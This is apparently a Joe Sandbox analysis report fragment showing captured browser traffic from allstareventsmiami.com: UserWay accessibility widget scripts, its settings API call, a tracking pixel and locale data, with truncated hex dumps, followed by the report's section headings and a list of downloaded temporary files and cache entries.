2025-03-11 21:42:48 UTC	1787	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 2c 65 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 7c 7c 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2c 69 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 69 2e 73 72 63 3d 74 2c 69 2e 61 73 79 6e 63 3d 21 30 2c 69 2e 69 64 3d 22 61 31 31 79 57 69 64 67 65 74 53 72 63 22 2c 65 26 26 28 69 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 2c 69 2e 69 6e 74 65 67 72 69 74 79 3d 65 29 2c 6e 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 7d 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 74 2e 74 Data Ascii: !function(){function t(t,e){var n=document.body\|\|document.head,i=document.createElement("script");i.src=t,i.async=!0,i.id="a11yWidgetSrc",e&&(i.crossOrigin="anonymous",i.integrity=e),n.appendChild(i)}function e(){var t=document.createElement("iframe");t.t

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:03 UTC	627	OUT	GET /widgetapp/2025-03-11-08-31-12/widget_app_base_1741681872888.js HTTP/1.1 Host: cdn.userway.org Connection: keep-alive Origin: https://allstareventsmiami.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:04 UTC	902	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:03 GMT Content-Type: application/javascript Content-Length: 137891 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, POST, DELETE Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Last-Modified: Tue, 11 Mar 2025 08:34:32 GMT ETag: "a019b3ee6e9ff1bda9d4fcb6ff130a40" x-amz-server-side-encryption: AES256 Cache-Control: max-age=25920000, public Vary: Accept-Encoding Via: 1.1 fd6dc3eaf39d0b931b4b1369a7e91ac0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P10 X-Amz-Cf-Id: NATfbLM8RPc-zfxwE53ppC0rdJ7ESxJwKpN6aFsL5A08fGu7KJh2IQ== Age: 234 X-77-NZT: EgwBw7WvJwH3CYYAAAwBnJIhJwG3VzEAAA X-77-NZT-Ray: 25b021313e3ba4b167aed0673fe93d3a X-77-Cache: HIT X-77-Age: 34313 Server: CDN77-Turbo X-77-POP: frankfurtDE Accept-Ranges: bytes
2025-03-11 21:43:04 UTC	15482	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 5d 22 3d 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 30 3b 65 3c 45 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 45 5b 65 5d 5b 30 5d 28 45 5b 65 5d 5b 31 5d 29 3b 45 3d 5b 5d 2c 76 3d 21 31 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 29 7b 45 2e 70 75 73 68 28 5b 65 2c 74 5d 29 2c 76 7c 7c 28 76 3d 21 30 2c 53 28 6e 2c 30 29 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 73 28 74 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 75 28 74 2c Data Ascii: !function(e){function t(e){return"[object Array]"===Object.prototype.toString.call(e)}function n(){for(var e=0;e<E.length;e++)E[e][0](E[e][1]);E=[],v=!1}function i(e,t){E.push([e,t]),v\|\|(v=!0,S(n,0))}function r(e,t){function n(e){s(t,e)}function i(e){u(t,
2025-03-11 21:43:04 UTC	16384	IN	Data Raw: 28 29 3a 22 22 7d 2c 6b 2e 63 75 73 74 6f 6d 54 65 78 74 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 6f 69 64 20 30 3d 3d 3d 74 26 26 28 74 3d 33 29 3b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 3c 31 29 72 65 74 75 72 6e 22 22 3b 76 61 72 20 69 3d 65 2e 63 68 69 6c 64 45 6c 65 6d 65 6e 74 43 6f 75 6e 74 2c 72 3d 22 22 3b 72 65 74 75 72 6e 20 69 7c 7c 28 72 2b 3d 65 2e 74 65 78 74 43 6f 6e 74 65 6e 74 29 2c 21 72 26 26 65 2e 6c 65 6e 67 74 68 26 26 28 72 2b 3d 65 2e 6e 6f 64 65 56 61 6c 75 65 29 2c 69 26 26 65 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 26 26 28 72 2b 3d 5f 5f 73 70 72 65 61 64 41 72 72 61 79 28 5b 5d 2c 5f 5f 72 65 61 64 28 65 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 21 31 29 Data Ascii: ():""},k.customTextContent=function(e,t){void 0===t&&(t=3);var n=function(e,t){if(t<1)return"";var i=e.childElementCount,r="";return i\|\|(r+=e.textContent),!r&&e.length&&(r+=e.nodeValue),i&&e.childNodes.length&&(r+=__spreadArray([],__read(e.childNodes),!1)
2025-03-11 21:43:04 UTC	16384	IN	Data Raw: 63 74 6f 72 41 6c 6c 28 22 2a 22 29 29 2c 74 7d 2c 6b 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 44 65 65 70 53 69 6e 67 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 69 2c 72 3b 74 72 79 7b 0a 66 6f 72 28 76 61 72 20 6f 3d 5f 5f 76 61 6c 75 65 73 28 6e 29 2c 61 3d 6f 2e 6e 65 78 74 28 29 3b 21 61 2e 64 6f 6e 65 3b 61 3d 6f 2e 6e 65 78 74 28 29 29 7b 76 61 72 20 73 3d 61 2e 76 61 6c 75 65 3b 69 66 28 73 2e 6d 61 74 63 68 65 73 28 65 29 29 72 65 74 75 72 6e 20 73 3b 69 66 28 73 2e 73 68 61 64 6f 77 52 6f 6f 74 29 7b 76 61 72 20 6c 3d 74 28 73 2e 73 68 61 64 6f 77 52 6f 6f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 2a 3a 6e Data Ascii: ctorAll("")),t},k.querySelectorDeepSingle=function(e){if(!e)return null;var t=function(n){var i,r;try{for(var o=__values(n),a=o.next();!a.done;a=o.next()){var s=a.value;if(s.matches(e))return s;if(s.shadowRoot){var l=t(s.shadowRoot.querySelectorAll(':n
2025-03-11 21:43:04 UTC	16384	IN	Data Raw: 6e 5b 65 5d 2e 73 72 63 26 26 2d 31 21 3d 3d 6e 5b 65 5d 2e 73 72 63 2e 69 6e 64 65 78 4f 66 28 74 29 26 26 28 2d 31 21 3d 3d 6e 5b 65 5d 2e 73 72 63 2e 69 6e 64 65 78 4f 66 28 22 2f 77 69 64 67 65 74 2e 6a 73 22 29 7c 7c 2d 31 21 3d 3d 6e 5b 65 5d 2e 73 72 63 2e 69 6e 64 65 78 4f 66 28 22 2f 77 69 64 67 65 74 2d 69 2e 6a 73 22 29 29 7d 29 2e 6c 65 6e 67 74 68 3e 30 29 72 65 74 75 72 6e 20 74 3d 6e 5b 65 5d 2c 22 62 72 65 61 6b 22 7d 28 69 29 29 62 72 65 61 6b 7d 69 66 28 74 29 7b 66 6f 72 28 76 61 72 20 6f 3d 74 2e 61 74 74 72 69 62 75 74 65 73 2c 69 3d 6f 2e 6c 65 6e 67 74 68 3b 69 2d 2d 3b 29 7b 76 61 72 20 61 3d 6f 5b 69 5d 2c 73 3d 30 3d 3d 3d 61 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 22 29 3f 61 2e 6e 61 6d 65 2e 72 65 70 6c 61 63 Data Ascii: n[e].src&&-1!==n[e].src.indexOf(t)&&(-1!==n[e].src.indexOf("/widget.js")\|\|-1!==n[e].src.indexOf("/widget-i.js"))}).length>0)return t=n[e],"break"}(i))break}if(t){for(var o=t.attributes,i=o.length;i--;){var a=o[i],s=0===a.name.indexOf("data")?a.name.replac
2025-03-11 21:43:04 UTC	16384	IN	Data Raw: 78 22 2c 22 2d 31 22 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 29 7d 2c 30 29 29 2c 65 2e 66 6f 63 75 73 28 7b 70 72 65 76 65 6e 74 53 63 72 6f 6c 6c 3a 21 30 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 76 61 72 20 65 3d 6c 28 29 7c 7c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 77 29 3b 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 29 7c 7c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 22 2d 31 22 29 2c 66 28 54 2e 53 4b 49 50 5f 54 4f 5f 4d 41 49 4e 5f 43 4f 4e 54 45 4e 54 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 66 Data Ascii: x","-1"),setTimeout(function(){e.removeAttribute("tabindex")},0)),e.focus({preventScroll:!0})}function a(){var e=l()\|\|document.querySelector(w);e.getAttribute("tabindex")\|\|e.setAttribute("tabindex","-1"),f(T.SKIP_TO_MAIN_CONTENT),setTimeout(function(){e.f
2025-03-11 21:43:04 UTC	16384	IN	Data Raw: 72 57 61 79 57 69 64 67 65 74 41 70 70 2e 67 65 74 4c 69 62 28 22 75 74 69 6c 22 29 2c 6e 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 75 73 65 72 77 61 79 2e 6f 72 67 2f 22 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 55 73 65 72 57 61 79 57 69 64 67 65 74 41 70 70 2e 43 6f 6e 74 65 78 74 48 6f 6c 64 65 72 2e 72 65 6d 65 64 69 61 74 69 6f 6e 4d 6f 64 75 6c 65 50 72 6f 6d 69 73 65 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 65 78 65 63 4a 73 28 6e 2b 65 2c 69 29 7d 29 7d 3b 65 2e 63 6f 6e 66 69 67 75 72 65 52 65 6d 65 64 69 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 72 2c 6f 3d 55 73 65 72 57 61 79 57 69 64 67 65 74 41 70 70 2e 43 6f 6e 74 65 78 74 48 6f 6c 64 65 72 2e 63 6f 6e 66 69 67 2c 61 3d 6f 2e 72 65 6d 65 Data Ascii: rWayWidgetApp.getLib("util"),n="https://cdn.userway.org/",i=function(e,i){UserWayWidgetApp.ContextHolder.remediationModulePromise.then(function(){t.execJs(n+e,i)})};e.configureRemediation=function(){var e,r,o=UserWayWidgetApp.ContextHolder.config,a=o.reme
2025-03-11 21:43:04 UTC	16384	IN	Data Raw: 67 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 21 74 2e 77 69 64 67 65 74 5f 6c 73 74 5f 62 75 74 74 6f 6e 5f 65 6e 61 62 6c 65 64 7c 7c 22 66 6c 61 67 22 21 3d 3d 72 29 7b 76 61 72 20 6f 3d 69 74 2e 67 65 74 4e 61 6d 65 42 79 4c 61 6e 67 43 6f 64 65 28 6e 29 2c 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 69 66 28 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 75 77 2d 72 6d 2d 69 67 6e 6f 72 65 22 2c 22 22 29 2c 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 75 77 2d 69 67 6e 6f 72 65 2d 74 72 61 6e 73 6c 61 74 65 22 2c 21 30 29 2c 75 74 26 26 28 61 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 75 77 61 77 2d 6c 61 6e 67 2d 6c 69 73 74 5f 5f 63 69 72 63 6c 65 22 2c Data Ascii: gs)\|\|void 0===t\|\|!t.widget_lst_button_enabled\|\|"flag"!==r){var o=it.getNameByLangCode(n),a=document.createElement("div");if(a.setAttribute("data-uw-rm-ignore",""),a.setAttribute("data-uw-ignore-translate",!0),ut&&(a.classList.add("uwaw-lang-list__circle",
2025-03-11 21:43:04 UTC	16384	IN	Data Raw: 79 57 69 64 67 65 74 41 70 70 2e 43 6f 6e 74 65 78 74 48 6f 6c 64 65 72 2e 63 6f 6e 66 69 67 2e 72 65 6d 65 64 69 61 74 69 6f 6e 3b 62 74 2e 66 69 72 65 55 73 65 72 57 61 79 4c 69 66 65 43 79 63 6c 65 45 76 65 6e 74 28 62 74 2e 4c 49 46 45 5f 43 59 43 4c 45 5f 45 56 45 4e 54 2e 49 4e 49 54 2c 7b 72 65 6d 65 64 69 61 74 69 6f 6e 45 6e 61 62 6c 65 64 3a 65 7d 29 2c 65 7c 7c 62 74 2e 66 69 72 65 55 73 65 72 57 61 79 52 65 6d 65 64 69 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 64 45 76 65 6e 74 28 7b 65 6e 61 62 6c 65 64 3a 21 31 7d 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 65 28 65 2c 74 2c 6e 29 7b 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 6e 75 6c 6c 29 3b 76 61 72 20 69 3d 6e 3f 7b 73 74 61 74 65 3a 6e 7d 3a 6e 75 6c 6c 3b 62 74 Data Ascii: yWidgetApp.ContextHolder.config.remediation;bt.fireUserWayLifeCycleEvent(bt.LIFE_CYCLE_EVENT.INIT,{remediationEnabled:e}),e\|\|bt.fireUserWayRemediationCompletedEvent({enabled:!1})}catch(e){}}function ue(e,t,n){void 0===n&&(n=null);var i=n?{state:n}:null;bt
2025-03-11 21:43:04 UTC	7721	IN	Data Raw: 73 4c 69 73 74 2e 61 64 64 28 22 75 77 2d 73 31 30 2d 62 6f 74 74 6f 6d 2d 72 75 6c 65 72 2d 67 75 69 64 65 22 29 2c 75 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 75 77 2d 73 31 30 2d 72 65 61 64 69 6e 67 2d 67 75 69 64 65 5f 5f 61 72 72 6f 77 22 29 2c 6f 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 75 29 2c 55 65 28 6f 29 2c 55 65 28 61 29 2c 55 65 28 73 29 2c 55 65 28 6c 29 3b 76 61 72 20 63 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 63 2e 69 6e 6e 65 72 48 54 4d 4c 3d 65 2c 63 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 75 77 79 22 29 2c 63 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 75 77 2d 66 65 61 74 75 72 65 2d 69 67 6e 6f 72 65 22 2c 22 74 72 75 65 22 29 2c 63 2e 73 65 74 41 74 Data Ascii: sList.add("uw-s10-bottom-ruler-guide"),u.classList.add("uw-s10-reading-guide__arrow"),o.appendChild(u),Ue(o),Ue(a),Ue(s),Ue(l);var c=document.createElement("div");c.innerHTML=e,c.classList.add("uwy"),c.setAttribute("data-uw-feature-ignore","true"),c.setAt

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:03 UTC	653	OUT	GET /include/iotracking.php HTTP/1.1 Host: www.inflatableoffice.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:05 UTC	491	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 11 Mar 2025 21:43:04 GMT Server: Apache/2.4.63 (Ubuntu) Expires: Tue, 11 Mar 2025 22:43:05 GMT Cache-Control: max-age=3600 X-Redirect-By: redirection X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: * Upgrade: h2,h2c Connection: Upgrade, close Location: https://rental.software/include/iotracking.php Content-Length: 0 Content-Type: text/html; charset=UTF-8

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:06 UTC	651	OUT	POST /api/v1/tunings/xaCleGvcNk HTTP/1.1 Host: api.userway.org Connection: keep-alive Content-Length: 123 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-mobile: ?0 Accept: / Origin: https://allstareventsmiami.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:06 UTC	123	OUT	Data Raw: 7b 22 73 22 3a 7b 7d 2c 22 6f 22 3a 22 68 74 74 70 73 3a 2f 2f 61 6c 6c 73 74 61 72 65 76 65 6e 74 73 6d 69 61 6d 69 2e 63 6f 6d 22 2c 22 75 69 64 22 3a 22 39 31 66 30 39 64 62 65 2d 30 33 31 36 2d 34 38 66 39 2d 62 39 37 32 2d 63 30 65 63 63 38 39 65 36 65 64 35 22 2c 22 76 22 3a 22 32 30 32 35 2d 30 33 2d 31 31 2d 30 38 2d 33 31 2d 31 32 22 2c 22 63 22 3a 22 22 7d Data Ascii: {"s":{},"o":"https://allstareventsmiami.com","uid":"91f09dbe-0316-48f9-b972-c0ecc89e6ed5","v":"2025-03-11-08-31-12","c":""}
2025-03-11 21:43:07 UTC	550	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:07 GMT Content-Type: application/json; charset=utf-8 Content-Length: 440 Connection: close X-Service-Version: uw-pr Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, PATCH, POST, DELETE Access-Control-Allow-Headers: * Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Cache-Control: no-cache, no-store, must-revalidate X-Service-Request-Id: usr04cd5530f0904f0 ETag: W/"1b8-0+5884olld9bevZjZr00djop0Ig"
2025-03-11 21:43:07 UTC	440	IN	Data Raw: 7b 22 63 6f 64 65 22 3a 32 30 30 2c 22 64 61 74 61 22 3a 7b 22 74 75 6e 69 6e 67 73 22 3a 7b 22 77 69 64 67 65 74 5f 6e 6f 5f 66 6f 6c 6c 6f 77 22 3a 74 72 75 65 2c 22 73 69 74 65 5f 6e 61 6d 65 22 3a 22 61 6c 6c 73 74 61 72 65 76 65 6e 74 73 6d 69 61 6d 69 2e 63 6f 6d 22 7d 2c 22 73 65 72 76 69 63 65 73 22 3a 7b 22 73 69 74 65 49 64 22 3a 33 37 30 30 31 30 37 2c 22 75 73 65 72 49 64 22 3a 34 36 39 38 35 33 2c 22 6e 6f 4d 61 6e 61 67 65 22 3a 66 61 6c 73 65 2c 22 6e 6f 4c 6f 67 6f 22 3a 66 61 6c 73 65 2c 22 70 61 69 64 41 69 22 3a 66 61 6c 73 65 7d 2c 22 69 6d 61 67 65 41 6c 74 22 3a 7b 22 76 65 72 73 69 6f 6e 22 3a 22 41 4c 54 53 5f 56 32 22 2c 22 72 65 73 6f 75 72 63 65 48 61 73 68 22 3a 22 52 4c 71 77 4d 47 37 4f 54 70 54 53 7a 50 74 44 22 2c 22 74 69 Data Ascii: {"code":200,"data":{"tunings":{"widget_no_follow":true,"site_name":"allstareventsmiami.com"},"services":{"siteId":3700107,"userId":469853,"noManage":false,"noLogo":false,"paidAi":false},"imageAlt":{"version":"ALTS_V2","resourceHash":"RLqwMG7OTpTSzPtD","ti

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:07 UTC	644	OUT	GET /include/iotracking.php HTTP/1.1 Host: rental.software Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:08 UTC	338	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:08 GMT Server: Apache/2.4.58 (Ubuntu) Set-Cookie: guid=67d0ae6c0b8a6; expires=Mon, 06 Dec 2027 21:43:08 GMT; Max-Age=86400000; path=/; secure; SameSite=None Access-Control-Allow-Origin: * Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: image/png
2025-03-11 21:43:08 UTC	98	IN	Data Raw: 35 37 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 02 00 00 00 90 77 53 de 00 00 00 06 74 52 4e 53 00 00 00 00 00 00 6e a6 07 91 00 00 00 0c 49 44 41 54 78 9c 63 60 60 60 00 00 00 04 00 01 f6 17 38 55 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a 30 0d 0a 0d 0a Data Ascii: 57PNGIHDRwStRNSnIDATxc```8UIENDB`0

Timestamp	Bytes transferred	Direction	Data
2025-03-11 21:43:09 UTC	612	OUT	GET /widgetapp/2025-03-11-08-31-12/locales/en-US.json HTTP/1.1 Host: cdn.userway.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://allstareventsmiami.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://allstareventsmiami.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-11 21:43:10 UTC	893	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 21:43:09 GMT Content-Type: application/json Content-Length: 607 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD, PUT, POST, DELETE Access-Control-Expose-Headers: Content-Range, Content-Length, ETag, Content-Type Access-Control-Max-Age: 3000 Last-Modified: Tue, 11 Mar 2025 08:34:31 GMT ETag: "971644f50e2020e1ff22e37edcad46f6" x-amz-server-side-encryption: AES256 Cache-Control: max-age=25920000, public Via: 1.1 18a0c3f5e09e58d51d2e5d6f596d202e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P10 X-Amz-Cf-Id: G_QuJV8z3jFFbh3VdRswF0J0gCuikhDsFhFjUl_PGn96VVi1XNIBgQ== Age: 233 X-77-NZT: EgwBw7WvJwH3wzcAAAwBJRPCLgG3on8AAA X-77-NZT-Ray: 25b02131230d37bb6daed067dc9ed336 X-77-Cache: HIT X-77-Age: 14275 Vary: Accept-Encoding Server: CDN77-Turbo X-77-POP: frankfurtDE Accept-Ranges: bytes
2025-03-11 21:43:10 UTC	607	IN	Data Raw: 7b 22 77 69 64 67 65 74 22 3a 7b 22 68 74 6d 6c 5f 6c 73 74 5f 74 69 74 6c 65 22 3a 22 54 72 61 6e 73 6c 61 74 69 6f 6e 73 20 4d 65 6e 75 22 2c 22 68 74 6d 6c 5f 74 69 74 6c 65 22 3a 22 41 63 63 65 73 73 69 62 69 6c 69 74 79 20 4d 65 6e 75 22 2c 22 74 65 78 74 5f 69 63 6f 6e 5f 73 6d 61 6c 6c 22 3a 22 41 63 63 65 73 73 69 62 69 6c 69 74 79 22 2c 22 74 65 78 74 5f 69 63 6f 6e 5f 6c 61 72 67 65 22 3a 22 41 63 63 65 73 73 69 62 69 6c 69 74 79 3c 2f 62 72 3e 4d 65 6e 75 22 2c 22 6e 65 77 5f 74 61 62 22 3a 22 6f 70 65 6e 20 69 6e 20 61 20 6e 65 77 20 74 61 62 22 2c 22 62 72 6f 6b 65 6e 5f 6c 69 6e 6b 73 22 3a 7b 22 74 61 72 67 65 74 5f 73 69 74 65 5f 6e 6f 74 5f 61 76 61 69 6c 61 62 6c 65 22 3a 22 74 61 72 67 65 74 20 77 65 62 73 69 74 65 20 6d 61 79 20 6e 6f Data Ascii: {"widget":{"html_lst_title":"Translations Menu","html_title":"Accessibility Menu","text_icon_small":"Accessibility","text_icon_large":"Accessibility</br>Menu","new_tab":"open in a new tab","broken_links":{"target_site_not_available":"target website may no

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Downloads\40961437-b852-4f5a-82fb-58f56d89150d.tmp

C:\Users\user\Downloads\6caacdb0-5da2-42a8-8c81-80a824f2f49a.tmp

C:\Users\user\Downloads\7f8de4d0-317b-4973-a243-427e7c1f19b1.tmp

C:\Users\user\Downloads\Unconfirmed 685601.crdownload (copy)

C:\Users\user\Downloads\Unconfirmed 785144.crdownload (copy)

C:\Users\user\Downloads\Unconfirmed 807049.crdownload (copy)

Chrome Cache Entry: 129

Chrome Cache Entry: 130

Chrome Cache Entry: 131

Chrome Cache Entry: 132

Chrome Cache Entry: 133

Chrome Cache Entry: 134

Chrome Cache Entry: 135

Chrome Cache Entry: 136

Chrome Cache Entry: 137

Chrome Cache Entry: 138

Chrome Cache Entry: 139

Chrome Cache Entry: 140

Chrome Cache Entry: 141

Chrome Cache Entry: 142

Chrome Cache Entry: 143

Chrome Cache Entry: 144

Chrome Cache Entry: 145

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Timestamp	Bytes transferred	Direction	Data
